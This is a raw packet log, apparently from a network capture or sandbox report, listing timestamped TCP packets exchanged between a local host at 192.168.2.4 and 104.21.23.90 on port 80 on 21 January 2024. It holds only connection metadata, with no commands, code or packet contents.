Jan 21, 2024 16:57:09.195323944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.195344925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.195380926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.195391893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.195419073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.195461035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.196126938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196162939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196199894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196221113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.196235895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196273088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196285009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.196310043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196346998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196367979 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.196386099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.196430922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.197088957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197125912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197163105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197175026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.197201014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197237015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197246075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.197274923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197312117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197324991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.197349072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.197391987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.198024035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198126078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198164940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198177099 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.198203087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198239088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198251009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.198275089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198312044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198323011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.198349953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.198393106 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.199052095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199088097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199122906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199135065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.199161053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199196100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199209929 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.199233055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199270010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199280977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.199307919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199350119 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.199945927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.199981928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200020075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200048923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.200062037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200098991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200113058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.200136900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200174093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200184107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.200212002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200253963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.200859070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200895071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200932026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.200942039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.200970888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201006889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201014996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.201044083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201081991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201092958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.201119900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201165915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.201746941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201863050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201911926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.201915979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201953888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201988935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.201999903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.202027082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202063084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202075005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.202101946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202147961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.202543974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202581882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202631950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.202872992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202908993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202944994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.202958107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.202980042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203016043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203032970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.203051090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203088999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203099966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.203125954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203162909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203169107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.203846931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203882933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203908920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.203917980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203953981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.203967094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.203990936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204027891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204037905 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.204063892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204101086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204114914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.204138994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204180956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.204775095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204812050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204848051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204862118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.204885006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204921007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204957008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.204974890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.204993010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205008984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205029964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205066919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205071926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205508947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205545902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205557108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205583096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205632925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205653906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205688953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205724955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205737114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205760956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205796957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205811977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.205832958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.205878019 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.206485987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206522942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206558943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206574917 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.206594944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206631899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206644058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.206669092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206705093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206717014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.206743002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206779003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.206784010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.207441092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207477093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207490921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.207513094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207550049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207561016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.207586050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207623959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207638025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.207660913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207698107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207712889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.207735062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.207777977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.208384991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208421946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208457947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208473921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.208494902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208530903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208548069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.208565950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208604097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208616972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.208642006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208678961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.208687067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209289074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209325075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209340096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209362030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209397078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209408045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209434986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209486008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209698915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209763050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209813118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209861994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209916115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209953070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.209965944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.209989071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210025072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210036993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.210061073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210110903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210114956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.210654974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210692883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210709095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.210782051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210819006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210830927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.210855007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210894108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210905075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.210931063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210967064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.210980892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.211004019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211050034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.211539030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211575985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211615086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211647034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.211688042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211730003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211735964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.211766958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211803913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211817980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.211841106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211879015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.211884022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.212531090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212567091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212585926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.212605000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212641001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212654114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.212677002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212713003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212728024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.212749958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212785959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212802887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.212824106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.212868929 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.213391066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213428020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213464975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213473082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.213502884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213538885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213556051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.213577986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213620901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213630915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.213658094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213695049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.213701010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.214318991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214370012 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.214423895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214461088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214497089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214509964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.214534044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214570999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214584112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.214608908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214644909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214658022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.214684010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.214726925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.215234995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215344906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215382099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215394020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.215419054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215455055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215466022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.215492010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215528011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215538979 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.215564966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215604067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.215620041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216130972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216181040 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216202021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216239929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216275930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216288090 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216314077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216362953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216614008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216680050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216717005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216732025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216753960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216790915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216801882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216828108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216866016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216878891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.216902018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216938972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.216948032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.217608929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217645884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217657089 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.217684031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217731953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.217844963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217880964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217936039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.217945099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.217982054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218019009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218031883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.218056917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218101978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.218547106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218583107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218620062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218631983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.218657017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218693018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218703985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.218729973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218765020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218775988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.218802929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218838930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.218847990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.219377995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.219429970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.219511032 CET	80	49730	104.21.23.90	192.168.2.4
